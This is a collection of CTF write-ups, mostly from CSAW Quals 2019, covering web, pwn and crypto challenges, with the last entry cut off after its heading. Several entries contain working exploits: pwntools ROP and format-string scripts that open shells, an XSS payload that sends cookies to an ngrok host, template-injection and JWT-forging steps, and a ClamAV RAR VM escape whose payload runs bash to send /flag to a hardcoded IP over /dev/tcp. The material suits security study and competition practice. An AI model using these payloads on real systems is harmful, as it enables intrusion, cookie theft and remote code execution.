```/pyramids/images/giza.jpg?query=ctf&sudan=VFVOSVNJQSUzRCUyMnN0cmluZyUyMiUzQVRVTklTSUElM0RyZVBMQUNlJTI4VFVOSVNJQSUyQyUyMi0lMjIlMkMlMjIwJTIyJTI5JTNBVFVOSVNJQSUzRHJlUExBQ2UlMjhUVU5JU0lBJTJDJTIyJTIzJTIyJTJDJTIyMSUyMiUyOSUzQVRVTklTSUElM0RyZVBMQUNlJTI4VFVOSVNJQSUyQyUyMiU3QiUyMiUyQyUyMjIlMjIlMjklM0FUVU5JU0lBJTNEcmVQTEFDZSUyOFRVTklTSUElMkMlMjIlNUQlMjIlMkMlMjIzJTIyJTI5JTNBVFVOSVNJQSUzRHJlUExBQ2UlMjhUVU5JU0lBJTJDJTIyJTJBJTIyJTJDJTIyNCUyMiUyOSUzQVRVTklTSUElM0RyZVBMQUNlJTI4VFVOSVNJQSUyQyUyMiU1QiUyMiUyQyUyMjUlMjIlMjklM0FUVU5JU0lBJTNEcmVQTEFDZSUyOFRVTklTSUElMkMlMjIlN0MlMjIlMkMlMjI2JTIyJTI5JTNBVFVOSVNJQSUzRHJlUExBQ2UlMjhUVU5JU0lBJTJDJTIyJTNEJTIyJTJDJTIyNyUyMiUyOSUzQVRVTklTSUElM0RyZVBMQUNlJTI4VFVOSVNJQSUyQyUyMiUyRiUyMiUyQyUyMjglMjIlMjklM0FUVU5JU0lBJTNEcmVQTEFDZSUyOFRVTklTSUElMkMlMjIlNUMlMjIlMkMlMjI5JTIyJTI5JTNBVFVOSVNJQSUzRFNwTGlUJTI4VFVOSVNJQSUyQyUyMiUyMSUyMiUyOSUzQUZPUiUyMEFMR0VSSUUlM0QxJTIwVE8lMjBVYm9VbkQlMjhUVU5JU0lBJTI5JTNBTU9ST0NDTyUzRE1PUk9DQ08lMkJjSHIlMjhUVU5JU0lBJTI4QUxHRVJJRSUyOSUyRiUyODI1JTJCMjUtMzIlMjklMjklM0FORVhU```
Decoding this via:
```pythonprint(urllib.unquote(param.decode("base64")).replace(":", "\n"))```
Gives us [stage3](stage3.vbs) script, which combined with the results from previous stage provide [stage 3 results](resultstage3.txt).Which actually contains a flag!Well at least ascii-art flag (but also true flag in fact).
Again we follow the emails:
```Hi James,
I have an idea for our nexxt tour... Asian tour is it.I feel like we shouldd go to these places, since we visitd pyramid in EgHypt, let's visit other wonders in Asia too.So, TYhe Great Wall of China and Taj Mahal in India is a must in ths tour.Then if it''s Okkay with you, from China we move to HongKKong, then Japan, lots of beautifull and historical places...Then we go doWwn t Vietnam, nexXt is Cambodia, then Lao0s,. and Thailancd.Oh I want to see the Petronas twin towWer in MalayYsia, then we move straight to Singapore, so much choices here as well.I want to viist Bali, Indoonesia too. Oww, Philippines is a must see, there are tons oOf nice places.MNaybe there are too much I want to see, can:'t be help, Asia has lots of sights to offer;, well, if it's too repetitive, I can remove one or two from the lsit.Perhaps five itineraries would be enough.I'm so excited for our next tour.
Regards,Bond ```
```Hi James,
Sorry for my last mail, I'm in a car earlier and road is kinda rough...I'm so excited to share you my thoughts and I just can't wait to have a good place to write mail, hence, some typos here and there.I know it ain't necessary but I fix them below.
Regards,Bond----- Original Message ----- From: "Bond Paper" <[email protected]>To: "Coco James" <[email protected]>Sent: Friday, August 16, 2019 5:53 AMSubject: Re: Hello World!
Hi James,
I have an idea for our next tour... Asian tour is it.I feel like we should go to these places, since we visited pyramid in Egypt, let's visit other wonders in Asia too.So, The Great Wall of China and Taj Mahal in India is a must in this tour.Then if it's okay with you, from China we move to HongKong, then Japan, lots of beautiful and historical places...Then we go down to Vietnam, next is Cambodia, then Laos, and Thailand.Oh I want to see the Petronas twin tower in Malaysia, then we move straight to Singapore, so much choices here as well.I want to visit Bali, Indonesia too. Oww, Philippines is a must see, there are tons of nice places.Maybe there are too much I want to see, can't be help, Asia has lots of sights to offer, well, if it's too repetitive, I can remove one or two from the list.Perhaps five itineraries would be enough.I'm so excited for our next tour.
Regards,Bond```
This step was quite clear, and we wouldn't really need the email hint for that.The ascii-art flag has very limited charset:
```Counter({'\x00': 25752, 'H': 12884, '.': 4214, "'": 2008, ';': 1916, ',': 1201, 'Y': 666, 'N': 483, 'X': 481, 'K': 388, '0': 291, '\n': 232, 'O': 160, 'x': 131, 'W': 129, 'o': 117, 'k': 115, 'd': 108, 'c': 72, 'l': 65, ':': 62, 'T': 3, '!': 3, 'y': 3, 'e': 3, 'G': 2, 'a': 2, 'r': 2, 'A': 1, 'Z': 1, 'm': 1, 'ţ': 1, 'F': 1, 'n': 1, 'V': 1, '}': 1, 'M': 1, '˙': 1, '{': 1, 'C': 1, 'i': 1})```
So it's quite clear that there are very common characters and characters which appear only a handful of times in the whole picture.From the misspells in the email we can get the list of characters we need to remove, and the coincide with the most common characters in the file.For some reason the misspells contained some of the actual flag characters, and picture contained something like `ţ`, so we just stuck to removing all most common chars and leaving only reasonable charset:
```pythondef main(): data = open("resultstage3.txt").read() c = collections.Counter(data) print(c) for char, score in c.items(): if score > 50: data = data.replace(char, "") print("".join([c for c in data if c in string.ascii_letters + string.digits + '{}_-!']))
main()```
Once we remove those characters we finally get: `TMCTF{yey!AmaZinG!VeryGreaT!}` |
# Challenge Name: babycspScore: 50 Vulnerability: Cross-Site Scripting (XSS) Solution: Bypass Content Security Policy (CSP) Link: http://web.chal.csaw.io:1000/ Description: ```I heard CSP is all the rage now. It's supposed to fix all the XSS, kill all of the confused deputies, and cure cancer?
The flag is in the cookies```
**Part 0x01 - Information Gathering** The author wants us to bypass the Content Security Policy (CSP) to get the flag in the cookies. With this kind of challenge, we need to perform Cross-Site Scripting (XSS) attack and grab the cookie in admin side. There are 2 functions on the website. First one is posting and second one is reporting to admin.
The CSP in the website has the following policy: `default-src 'self'; script-src 'self' *.google.com; connect-src *`
The `script-src` has a value of `*.google.come` which could allow us to bypass the CSP.
**Part 0x02 - Vulnerability Exploitation** First thing we need to do is to execute an XSS. So, we have to look for a google endpoint that could help us bypass the CSP.
Well, luckily, PayloadsAllTheThings has a payload to [bypass CSP using Google endpoint](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection#bypass-csp-using-jsonp-from-google-trick-by-apfeifer27).
Using [apfeifer27](https://twitter.com/apfeifer27)'s CSP Bypass, we used [Fetch](https://javascript.info/fetch) to fetch the admin's cookie and pass it to our ngrok.
Final payload would be
```javascript<script/src="https://www.google.com/complete/search?client=chrome&jsonp=fetch(/http:\\affc7f76.ngrok.io/.toString().substr(1).concat(document.cookie));"></script>```
Please note that I am playing with hackstreetboys team and this challenge was first solved by my teammate, Ameer.
Thanks for reading. |
# Buyify (Web, 500, 15 solves) by [@terjanq]This is a solution of [Buyify] web-task from [CSAW 2019 (Quals)] ctf. The challenge was created by [@itszn13], was worth 500 points and was solved by 15 teams.
*The challenge was really awesome and since all the [files] required to run the instance locally are provided it could be worth taking a look at it before reading through this write-up*
### A quick lookWe are provided with a simple [website] where we can:- visit `flag store` and buy `flag` there- create new store- update created store description- create items in created store
After playing around with the webiste I noticed an interesting template in *update store description* page
```html{{ store_name }} StoreWelcome to a store for all things {{ store_name }}```Given that, I suspected the problem to be [Server-side Template Injection] related.
{{ store_name }} Store
Welcome to a store for all things {{ store_name }}
### Handlebars and 0dayThe first thing to try with templates is always `{{7*7}}`. That can quickly confirm whether we hit the mentioned Template Injection or not. When doing so a wild error appeared:
```Error: Parse error on line 1:{{7*7}}--^Expecting 'ID', 'STRING', 'NUMBER', 'BOOLEAN', 'UNDEFINED', 'NULL', 'DATA', got 'INVALID' at Parser.parseError (/node_modules/handlebars/dist/cjs/handlebars/compiler/parser.js:267:19) at Parser.parse (/node_modules/handlebars/dist/cjs/h....```
From reading through the error, we can see that the library responsible for compiling that template is [handlebars]. Quick research led me to a great article [Handlebars template injection and RCE in a Shopify app] about a vulnerability in that library. The mentioned in there vulnerability was unfortunately patched but all the details, starting with the challenge name, clearly point to *bypassing* the fix.
However, there was also a hint included
> *HINT: Templates are a prototype for fun and also, don't worry, you don't need rce*
that suggests that there is no need for searching for another critical vulnerability in the library.
In the following sections, I will present a solution split into pieces that are required to understand the problem and omit all the wrong directions I took.
### Purchase the flagWhen visiting http://web.chal.csaw.io:1002/store/flag/ we could try to purchase the flag with the following request beside:
```httpPOST /store/flag/checkout HTTP/1.1Host: web.chal.csaw.io:1002Content-Length: 158Content-Type: application/x-www-form-urlencodedCookie: connect.sid=s%3AOi5yhl-2orxSQ5iN9KzeprT9FThgtxPX.EXOINstCO0gUpXWeK7URQliyfG6KdI7N9j91IWPFAbY
token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImZsYWcuZmxhZyIsInByaWNlIjoxMDAwMDAwMDAsImlhdCI6MTU2ODU4Nzg0Mn0.c1RVg_POsjNIT0L0LHBkJ5db12BKPHHbundirMsJdaA```
After decoding the token which is an encoded [JSON Web Token] we get a `JSON` object:
```json{ "id": "flag.flag", "price": 100000000, "iat": 1568587842}```
Unfortunately, we only get `$100` on the start so the purchase will not be completed.
### Token formatThe `id` in the token is created by concatenating `store_name` and the `item_name`. We can see that happening in [server.js]:
```js// Create an item, assign it an id, and store its callbackfunction create_item(id, name, callback) { let item_id = `${id}.${name}`; items[item_id] = callback; return item_id;}```
The token itself is a `jwt` signed with `store.key` which we can find in [store.js]:
```js// Sign an item for sale in the storefunction sign_item(item) { let token = jwt.sign({id:item.id, price:item.price}, store.key); return token;}```
### Store objectIn the [store.js] we can also notice that the `store` has the following structure:
```js /* === Instance === */ store = { name: name, id: id, items: [], header_template: `{{ store_name }} StoreWelcome to a store for all things {{ store_name }}`, item_map: {}, };```
{{ store_name }} Store
Welcome to a store for all things {{ store_name }}
A very odd thing is that the `key` attribute is not defined here, but we saw earlier that `store.key` was used to encode the token.
In [store.js] we can find a place where `store.key` is actually defined:
```js// Invalidate and resign all itemsfunction update_store() { // Create store key with long random string store.key = crypto.randomBytes(64).toString('hex');
for (let item of store.items) { item.token = sign_item(item); }}```
From cryptographic perspective this looks impossible to crack. Let's see when `update_store()` function is called.
```js// Create an item with a given name and pricefunction create_item_impl(name, price, cb) { let item = { name: name, price: price, };
// The server assigns an item id to us that is unique item.id = g_create_item(name, cb);
store.items.push(item); store.item_map[item.id] = item;
update_store();}```
From reading the above function it becomes obvious that `store.key` is defined via `update_store()` and that happens when a new item is created. That will also update all the previous items in the process. This will come in handy very soon.
### What if we knew the secret key?If we knew the secret key from `store` object we could sign an object `{'id': 'flag.flag', 'price':'1'}` with that key and then by sending a `/checkout` request from [#Purchase-the-flag](#Purchase-the-flag) section, receive the flag. That is because of the following part of the[server.js]:
```js// Get an item callbackfunction get_item(item) { money_count += item.price; return items[item.id];}
// Create the Flag store and the Flag itemstores[create_store('Flag','flag')].create_item('flag', 100000000, (id, req, res)=>{ flag_count++; res.send(`Congrats! Your flag is ${ fs.readFileSync('flag.txt').toString().replace(/^\s+|\s+$/g, '')}!`);});```
There are some security checks being done before accessing the flag but the crucial one is in `checkout(req, res)` function.
```jsitem = jwt.verify(req.body.token, store.key);```
Basically, to access the flag we must make verify function not to throw an error, i.e. the signature must match the key.
### Let's head back to template injectionSo, I mentioned earlier about this great bug in `Shopify` store that allowed to get an `RCE` and that does not work anymore. The reason why we cannot get the remote code execution using that trick is that any attempt to calling the `constructor` of any object will return `undefined`. Without a `constructor` it is not trivial to iterate over contexts or to evaluate a string. But in the hint, it was said that we do not need to achieve `RCE`.
To solve the challenge we would either want to read the `store.key` or override it with a value known to us. The syntax of [handlebars] is limited but it has [helper functions] that can do some crazy things. To take advantage of [#Store-object](#Store-object) we would ideally want to override the Object prototype and define our own [setter] and [getter] on `key` property so we can either read the key or replace it with controlled by us value.
In plain `javascript` it could look like:
```js Object.defineProperty( Object.prototype, 'key', { get: function(){ return this.toString() } set: function(){ return this.toString() } } )```
Since we cannot access any `constructor` property, getting reference to `Object` is a challenging task. But there is another way to define [setter] or [getter]. There are deprecated features like [\_\_defineSetter\_\_] and [\_\_defineGetter\_\_] that still work. These can be called in [handlebars] for example in that payload: `{{this.__proto__.__defineGetter__}}`. I managed to use this and override the prototype with the following payload:
```js{{#with this.__proto__ as |o|}} {{o.__defineGetter__ "key" toString}} {{o.__defineSetter__ "key" toString}}{{/with}}```
It is equivalent to the `Object.defineProperty` mentioned above. What it does is:1) Setting a context to the prototype of `[object]` and aliasing it to `|o|` via [#with] helper.2) Calling [\_\_defineSetter\_\_] and [\_\_defineGetter\_\_] on `Object.prototype` with `key` as attribute and `this.toString()` as a callback that override [setter] and [getter]. 3) After that, accessing `[object].key` on newly created objects shall now return `[object Object]` as a string and it cannot be overriden using `[object].key = ...` because we overrode a setter function.
### Win the lotterySo now, the last missing piece is to forge a valid `token` with `[object Object]` as a key and `flag.flag` as an id.
```py# Forge flag tokenflag_token = jwt.encode({ "id": "flag.flag", "price": 1, "iat": 1568568228 }, '[object Object]', algorithm='HS256')
```
Then using it to purchase the flag for `$1` in our store.
I automated the process with [solve.py] where I briefly described each step. By executing the exploit I got the flag **flag{npm_devs_are_pretty_bad_at_fixing_bugs}**
```sh$ python solve.py('store_id:', 'fedeb307e6104baf')('connect.sid:', 's%3A1vs4vfSD3GEal8dD2lGuRAJgtUk2XIO0.m%2BE252u74l2ffXB1fOAuNPu1awVwzANQmg9KLqOfWmk')Congrats! Your flag is flag{npm_devs_are_pretty_bad_at_fixing_bugs}!```
[CSAW 2019 (Quals)]:<https://ctftime.org/event/870>[@itszn13]:<https://twitter.com/itszn13>[website]:<https://github.com/terjanq/Flag-Capture/tree/master/CSAW%20CTF%20Qualification%20Round%202019/buyify>[handlebars]:<https://handlebarsjs.com/>[Handlebars template injection and RCE in a Shopify app]:<http://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html>[store.js]:<./store.js>[server.js]:<./server.js>[helper functions]:<https://handlebars-draft.knappi.org/guide/block-helpers.html>[setter]:<https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/set>[getter]:<https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/get>[\_\_defineSetter\_\_]:<https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/__defineSetter__>[\_\_defineGetter\_\_]:<https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/__defineGetter__>[solve.py]:<./solve.py>[Buyify]:<>[@terjanq]:<https://twitter.com/terjanq>[files]:<./buyify.tar.gz>[Server-side Template Injection]:<https://portswigger.net/blog/server-side-template-injection>[#with]:<https://handlebars-draft.knappi.org/guide/block-helpers.html#the-with-helper>[JSON Web Token]:<https://jwt.io/> |
```from pwn import *
r=remote('pwn.chal.csaw.io', 1005)
r.recvuntil('am: ')
printf_addr=int(r.recvline().strip(),16)
libc=ELF('libc-2.27.so')
one_gadget = printf_addr - libc.symbols['printf'] + 0x4f2c5
r.sendline(40*'a'+p64(one_gadget))
r.interactive()``` |
# SuperCurve Writeup
### CSAW Quals 2019 - crypto 300 - 171 solves
> We are a super legitimate crypto company asking you to complete an audit on our new elliptic curve, SuperCurve, in order to show those hecklers at WhiteHat how legit we are! `nc crypto.chal.csaw.io 1000`
#### Solving ECDLP
The challenge asked us to solve EL[DLP](https://en.wikipedia.org/wiki/Discrete_logarithm). All the parameters for initializing the problem was given. Base point `G`, Public key `P`, and elliptic curve parameters `a`, `b`, `p`. The only changing value was `P`. `p = 14753` so the discrete logarithm problem can be easily solved using bruteforce, or just ask sage to solve it by calling the `discrete_log` method. Using the sage script, I successfully calculated the value of `secret_scalar`, which is the solution of ECDLP.
```pythona, b = 1, -1p = 14753E = EllipticCurve(Zmod(p), [a, b])G = E(1, 1)P = E(Px, Py)d = discrete_log(P, G, operation="+")assert P == d * G# d == secret_scalar```
Simply send it back to the server and get the flag:
```flag{use_good_params}```
exploit driver code: [solve.py](solve.py)
ecdlp solver: [ecdlp.sage](ecdlp.sage)
server: [server.py](server.py)
Supercurve module: [supercurve.py](supercurve.py) |
Change lose@got address's least significant byte to match win@got address's least significant byte.
If you check the libmylib.so file, you will see that only the last byte differs.
The other way to verify it is to leak lose@got's address a bunch of times using `<lose_got_addr>%7$s` and you will also see the last byte remains constant.
```python#!/usr/bin/env python2
from pwn import *
elf = ELF('./gotmilk')p = remote('pwn.chal.csaw.io', 1004)
lose_got = elf.got['lose']
log.info('lose@got: ' + hex(lose_got))
payload = p32(lose_got)payload += '%133c%7$hhn' # Writes 0x89 to the last byte of lose@got, effectively changing it to win's address from libmylib.so
p.sendlineafter('? ', payload)
p.interactive()``` |
`baby_boi` is pretty much the simplest possible modern ROP (the modern security protections NX and ASLR are not artificially disabled, but you get everything you need to work around them). We even get source code.
```c#include <stdio.h>#include <stdlib.h>
int main(int argc, char **argv[]) { char buf[32]; printf("Hello!\n"); printf("Here I am: %p\n", printf); gets(buf);}```
The printf leak looks like:
```$ nc pwn.chal.csaw.io 1005Hello!Here I am: 0x7f3c0a0b3e80```
Let's figure out its offset in libc, by grepping the output of `readelf` on the provided libc:
```$ readelf -s libc-2.27.so | grep ' printf@' 627: 0000000000064e80 195 FUNC GLOBAL DEFAULT 13 printf@@GLIBC_2.2.5```
So `printf` is at offset `0x64e80` in the server's libc. Gathering ROP gadgets:
```$ ROPgadget --binary libc-2.27.so > gadgets.txt```
For the full exploit, we decide that we want to set up the stack like this (top to bottom), where parentheses denote the location of the ROP gadget.
```(pop rax ; ret)0x3b(pop rdi ; ret)(pointer to "/bin/sh")(pop rdx ; pop rsi ; ret)00(syscall)```
```0x00000000000439c8 : pop rax ; ret0x000000000002155f : pop rdi ; ret0x00000000001306d9 : pop rdx ; pop rsi ; ret0x00000000000d2975 : syscall ; ret```
```$ strings -tx libc-2.27.so | grep /bin/sh 1b3e9a /bin/sh```
### The Full Exploit
```pythonfrom pwn import *
# One of the many magic things pwntools does is that you can accept arguments# from the environment or command line with zero setup, e.g. run this script as## $ python exploit.py REMOTE## to run it against the remote server, or don't pass REMOTE to run it locally.
if args['REMOTE']: conn = remote('pwn.chal.csaw.io', 1005)else: conn = process('baby_boi')
# conn.recvuntil("some string") is often more useful, but the input here# doesn't have a super obvious terminator, so we read line by line.conn.recvline()ptr_line = conn.recvline()ptr_text = re.search(r'0x([0-9a-z]+)', ptr_line.decode('utf-8')).group(1)printf_ptr = int(ptr_text, 16)libc_base = printf_ptr - 0x64e80
# The ROP chain, using these offsets as found above:# 0x00000000000439c8 : pop rax ; ret# 0x000000000002155f : pop rdi ; ret# 0x00000000001306d9 : pop rdx ; pop rsi ; ret# 0x1b3e9a /bin/sh# 0x00000000000d2975 : syscall ; retexploit = b"a" * 40 # paddingexploit += p64(libc_base + 0x439c8) # `pop rax ; ret`exploit += p64(59) # execve's syscall number, popped into raxexploit += p64(libc_base + 0x2155f) # `pop rdi ; ret`exploit += p64(libc_base + 0x1b3e9a) # "/bin/sh"exploit += p64(libc_base + 0x1306d9) # `pop rdx ; pop rsi ; ret`exploit += p64(0) # NULL, popped into rdxexploit += p64(0) # NULL, popped into rsiexploit += p64(libc_base + 0xd2975) # `syscall; ret`exploit += b"\n"
# Send the exploitconn.sendline(exploit)# This should pop a shell, so now let us interact with the shellconn.interactive()```
[More details](https://blog.vero.site/post/baby-boi) |
# count on me Writeup
### CSAW Quals 2019 - crypto 100 - 120 solves
> If you ever find yourself lost in the dark and you can't see, I'll be the light to guide you ` nc crypto.chal.csaw.io 1002`
#### Analysis of encryption scheme
The encryption process is done by the following five steps.
1. Initialize python random seed using my integer input(from `1` to `9999999999999999`).2. String `"Encrypted Flag: "` with the length of `16` bytes is concated front to the flag `m`.3. Data generated from 2. is cut into `16` byte chunks, padded with null byte.4. Random `16` bytes is generated and encrypted using AES, and the encryption result is xored wth each chunk.5. Step 2 to 4 is done 100 times, and the encryption result is given.
The length of the encryption result given by the server was `4900`, which means the resulting padded data has the length of `48` bytes because `4900 = (48 + 1) * 100`, where `1` byte came from newline. Each random `16` bytes is created by `random_bytes()` method, so the function must be called `100 * (48 / 16) == 300` times.
#### Choosing appropriate seed value and get the flag
To recover the flag, I deliberately chose the value of initial seed to satisfy the following conditions.
1. `random_bytes()` method must generate two identical random `16` byte blocks during 300 calls of it.2. Two random `16` byte chunks from 1. must encrypt different plaintext chunks, while one must include the first chunk which the value is known.
The upper conditions can be tested locally. I found the seed by implementing my function `findseed`. Let the two corresponding ciphertext chunks be `c1`, `c2` and plaintext chunks be `m1`,`m2`. Let `R` be the random `16` byte chunk which the value is same, by the first condition of the seed. I already know the value of `m1`(`"Encrypted Flag: "`) by the second condition of seed. I can recover `m2` by the following formula.
```pythonc1 = m1 ^ AES(R)c2 = m2 ^ AES(R)m2 = c1 ^ c2 ^ m1```
The value of `c1`, `c2`, `m1` is known, so simply recover `m2`. I have to recover `32` bytes excluding the known value `m1`. Find different seeds which generates same random outputs at `i`th and `j`th trial, where `i != j` and `i % 3 == 0`(to satisfy condition 2), `j % 3 == 1 or 2` to recover the left `48` bytes. Recover plaintext `m` and get the flag:
```flag{U_c@n_coUn7_0n_m3_l1kE_123}```
exploit driver code: [solve.py](solve.py)
server: [chal.py](chal.py)
server ported to local: [local.py](local.py) |
Exploit [XML Eternal Entity Processing](https://www.owasp.org/index.php/XML_External_Entity_%28XXE%29_Processing), or XXE. This is complicated by the presence of, apparently, a WAF (Web Application Firewall), which catches keywords we need for XXE such as ENTITY and SYSTEM, among others. To bypass the WAF we convert our payload to UTF-16.
```
]><users><user><intro>&yee;;</intro></user></users>```
```$ iconv -f utf-8 -t utf-16be < xxe.xml > xxe-utf-16.xml```
[More details](https://blog.vero.site/post/unagi) |
# Baby boi (50)
We are given a 64bit binary, a libc and even the source code .Our first assumptions is that it's a BOF (Buffer OverFlow) challenge cuz we can see the `gets` function with no control of the input length.And we can see also that it's giving us the address of `printf` in libc so no leak needed here.
and we also have the libc linked in the server so the attack scenario is simple:
1-get the leaked address of printf.
2-get the offset of printf in libc and calculate the base address.
3-collect needed gadgets and build the ROP chain.
4-from the base calculate the locations of `execve` and `/bin/sh` string to perform a ```execve("/bin/sh",0,0)``` call in order to get an interractive shell and then we can get the flag.
Let's start by getting offsets of printf and execve. To do that we can use `readelf` with `-s` option on the given libc to get the symbols table and from that we grep printf and execve.
we can see that the offset of printf in libc is `0x64e80`.
and the offset of execve in libc is `0xe4e30`.
okay let's start creating our exploit. Pwntools will make our life so much easier. First of all we have to get the leaked address and calculate the base location.
```pythonfrom pwn import * env = {"LD_PRELOAD":"./libc-2.27.so"}p = process("./baby_boi",env=env)data = p.recv()data = data.split("\n")[1]data = data.split(" ")[3]printf_libc = int(data,16)base = printf_libc - 0x64e80print "base: ",hex(base)```
if you notice that the base address of libc always ends with 000 that's because it's the beginning.
now we have to calculate the location of execve by adding the execve offset from libc to the base so the exploit become like:
```pythonfrom pwn import * env = {"LD_PRELOAD":"./libc-2.27.so"}p = process("./baby_boi",env=env)data = p.recv()data = data.split("\n")[1]data = data.split(" ")[3]printf_libc = int(data,16)base = printf_libc - 0x64e80print "base: ",hex(base)execve = base + 0x00000000000e4e30print "execve_libc: ",hex(execve)```
we can use gdb to calculate of offset between `execve` and `/bin/sh` string in libc so we can calculate its location.
we can see that the offset is `0xcf06a`.
Okay now we need just the gadgets to perform the call that we want execve needs 3 arguments so we have to control `rdi`,`rsi` and `rdx` and it's not a problem since we have the libc file and the libc base we can calculate locations for every gadget we want.
last step to go is to get the padding of the stack to control `RIP` or the instructions pointer peda is very good at this using its `pattern` tool with `create` and `offset` options.
We can see that the padding is 40 so our buffer is away 40 bytes from the saved return address.
Everything is ready now just we need to complete the exploit and run it:
```pythonfrom pwn import * env = {"LD_PRELOAD":"./libc-2.27.so"}#p = process("./baby_boi",env=env)p = remote("pwn.chal.csaw.io",1005)
data = p.recv()data = data.split("\n")[1]data = data.split(" ")[3]printf_libc = int(data,16)base = printf_libc - 0x0000000000064e80execve = base + 0x00000000000e4e30binsh = execve + 0xcf06aprint "base: ",hex(base)print "execve_libc: ",hex(execve)print "binsh: ",hex(binsh)pop_rdi = 0x0000000000400793paylaod = ""paylaod += "A"*40paylaod += p64(0x0000000000400791)paylaod += p64(0)paylaod += p64(0)paylaod += p64(pop_rdi)paylaod += p64(binsh)paylaod += p64(execve)p.sendline(paylaod)p.interactive()```
FLAG: `flag{baby_boi_dodooo_doo_doo_dooo}` |
## Real World CTF 2019
This year's real world CTF was really awesome. It had several improvements from last year. (challenges had more directions and hints, crypto and reverse challenges introduced) I spent a lot of time on Fuchsia IPC reversing (`cai-dan-ti-1`) and peeking at recent PHP commit logs (`MoP`) but I coudldn't solve any of them, which is sad. I managed to solve only one challenge, `anti-anti-virus`. Here is my write-up.
Also, just in case you're curious the pwnables that came out were based on the following topics:**[1] cai-dan-ti (1,2)**: Reversing-Shellcoding-Pwning on Google Fuchsia**[2] Dezhou Instruments**: Pwning an iPhone application**[3] MoP**: exploiting a PHP memory corruption bug to bypass `base_dir` and `disable_function` to achieve full RCE.**[4] Across the Great Wall**: exploiting a userland proxy**[5] faX senDeR**: some userland pwanble related to XDR, I don't really know much**[6] accessible & appetizer**: Browser exploitation challenges
## AnalysisWe are given a lot of shared library files, two binaries (`clamscan` and `clamdscan`), a readme and a patch.diff file. The readme states that the two binaries were built on version commit ID `6c11e824a794770c469f3a46141d5ea7927b6ea6`, and applied the given patch.diff file. We can actually build clam ourselves, by doing ```bashgit clone https://github.com/Cisco-Talos/clamav-develgit reset --hard 6c11e824a794770c469f3a46141d5ea7927b6ea6apply -s -p1 < ../patch.diff```
ClamAV is an open source virus scanner. What we should do is to get full RCE when ClamAV is given a file to scan. At first I thought the challenge would be really hard, because the clamscan binary had all protections (PIE, NX, Full RELRO, FORTIFY) enabled and we need to get a reverse shell (the server does not show any output, and leaking the flag bit by bit via time-based approach is not possible due to PoW) without any interactions. It is hard to bypass ASLR in an interactionless-exploit unless the given primitive is really powerful.
I took a look at the patch file, and spotted mainly two things.**[1]** Some structure members' size increased from 4 bytes to 8 bytes. Theoretically, this should not introduce any bugs, but I guess the intention was to make exploitation easier, since in 64bit userspace applications pointers are 8 bytes.**[2]** I spotted something that looks like a bounds check elimination. I guessed this is the root bug.
All the patches were done on a file called rarvm.c. RAR is a file format for archiving data. How is VM (Virutal Machine) supposed to be related to it? At first I thought that it was a sandboxed executor for binaries inside the archived rar file. I started analyzing the source code but couldn't understand what rar vm really is.
After getting some sleep, I google searched about RAR vm. It showed a very old [CVE](https://www.cvedetails.com/cve/CVE-2007-3725/) on ClamAV, which seemed kinda relevant. Also I spotted a [blogpost](http://blog.cmpxchg8b.com/2012/09/fun-with-constrained-programming.html) about rarVM. WTF? RAR has support for custom bytecode, and unrar'ing programs execute them? How surprising.
I also found [this](https://github.com/taviso/rarvmtools) repository, which implemented a linker and assembler for rar files. I think it was super cool. I decided to use it when constructing my exploit.
Now, I get the point of the challenge: escape the implemented rar VM executor and get RCE
## ExploitationThe bounds check elimination in the patch is the following:```- return ((unsigned int *)&rarvm_data->mem[(*cmd_op->addr+cmd_op->base) & RARVM_MEMMASK]);+ /* return ((unsigned int *)&rarvm_data->mem[(*cmd_op->addr+cmd_op->base) & RARVM_MEMMASK]); */+ return ((size_t *)&rarvm_data->mem[(*cmd_op->addr+cmd_op->base) /*& RARVM_MEMMASK*/]);```Basically it is a piece of code that translates RAR VM memory addresses to real memory addresses. Originally. the RAR VM memory address was confined from range 0 ~ 0x3fffff. (RARVM_MEMMASK = 0x3fffff) However, the masking is eliminated, so we can access arbitrary addresses relative to `rarvm_data->mem`. With the help of a debugger, I found that mem points to an mmapped chunk address, so we can access all the libraries through it, since libraries are also loaded via mmap and have constant distances from mmapped chunks. My idea was to access the free@GOT of libunrar.so, read the lower 4 bytes, subtract an adequate value so that the 4 bytes are equal to the lower 4 bytes of system, and place those 4 bytes back at free@GOT.
Also, the `mem` pointer must be freed at some point, so I wrote code so that it places commands at the start of `mem`. The start of `mem` can be accessed by the VM address 0. I wrote a helper script, `encode_cmd.py` that generates an assembly code that does this. To prevent the commandline string from overwriting running code, I padded the start with a bunch of NOP sequences. Here is my full exploit.
```#include <constants.rh>#include <util.rh>#include <math.rh>#include <crctools.rh>
_start: ; Install our message in the output buffer mov r3, #0x0 add r3, #0x1622bff0 ; offset between unrar start and mmap chunk add r3, #0x20C018 mov r4, [r3] sub r4, #296208 mov [r3], r4 ; change free to system mov r3, #0x0 mov r3, #0x0 mov r3, #0x0 mov r3, #0x0 mov r3, #0x0 mov r3, #0x0 mov r3, #0x0 mov r3, #0x0 mov r3, #0x0 mov r3, #0x0 mov r3, #0x0 mov r3, #0x0 mov r3, #0x0 mov r3, #0x0 mov r3, #0x0 mov r3, #0x0 mov r3, #0x0 mov r3, #0x0 mov r3, #0x0 mov r3, #0x0 mov r3, #0x0 mov r3, #0x0 mov r3, #0x0 mov r3, #0x0 mov r3, #0x0 mov r3, #0x0 mov r3, #0x0 mov [r3+#0], #0x6e69622f mov [r3+#4], #0x7361622f mov [r3+#8], #0x632d2068 mov [r3+#12], #0x2f282220 mov [r3+#16], #0x2f6e6962 mov [r3+#20], #0x20746163 mov [r3+#24], #0x616c662f mov [r3+#28], #0x202f2067 mov [r3+#32], #0x31263e32 mov [r3+#36], #0x203e2029 mov [r3+#40], #0x7665642f mov [r3+#44], #0x7063742f mov [r3+#48], #0x322e312f mov [r3+#52], #0x352e3535 mov [r3+#56], #0x33362e34 mov [r3+#60], #0x3939392f mov [r3+#64], #0x2238 call $_success```
Now using rarvmtools, compile this assembly file (it feels weird to do `make paylaod.rar`!) and upload it. It sends the flag to my listening server.
|
# Fault Box Writeup
### CSAW Quals 2019 - crypto 400 - 108 solves
> who's fault?? `nc crypto.chal.csaw.io 1001`
#### Analysis of given system
